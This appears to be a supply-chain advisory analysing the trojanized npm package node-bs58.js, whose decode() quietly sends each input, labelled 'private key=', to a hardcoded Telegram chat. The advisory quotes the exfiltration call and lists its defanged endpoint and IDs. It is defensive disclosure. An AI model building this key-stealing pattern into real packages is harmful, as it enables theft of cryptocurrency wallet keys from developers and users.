node-bs58.js@3.0.0
Malicious code in node-bs58.js (npm)
Analysis
node-bs58.js@3.0.0 is a trojanized base58 codec. It declares bs58 as a dependency but ships an obfuscated index.js (rotating string array, _0x-prefixed identifiers) whose exported decode() function does two things in sequence: it calls bot['sendMessage'](chatId, 'private key=' + input) and then returns bs58.decode(input). The Telegram client is constructed at module load from an embedded bot token (bot id 7764117154) with hardcoded chat id 7631491367, using the node-telegram-bot-api dependency. Every value passed to decode() — base58 is the encoding of Solana and many bitcoin key formats — is therefore forwarded over the Telegram Bot API to a chat chosen by the package author, tagged with the literal label "private key=". There is no install hook; the send happens whenever a caller invokes decode(). The tarball also contains two unused nested archives, node-bs58.js-1.0.0.tgz and solana-bs58.js-1.0.0.tgz. Network endpoint: hxxps://api[.]telegram[.]org/bot<token>/sendMessage.
- analyzed by
- Leitwacht
- first seen
- Nov 17, 2026, 05:57 AM
- analyzed
- Nov 17, 2026, 06:00 AM
Related advisories
- node-bs58.js@4.0.0 same package
- node-bs58.js@1.0.0 same package
- node-bs58.js@4.0.1 same package
- node-bs58.js@4.0.2 same package
- @yuanjielab/cli@0.10.2
- kaspacore-lib@1.1.1
- character-ai-sdk@1.0.1
- orderly-plugin-liquidity-heatmap@1.0.6
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.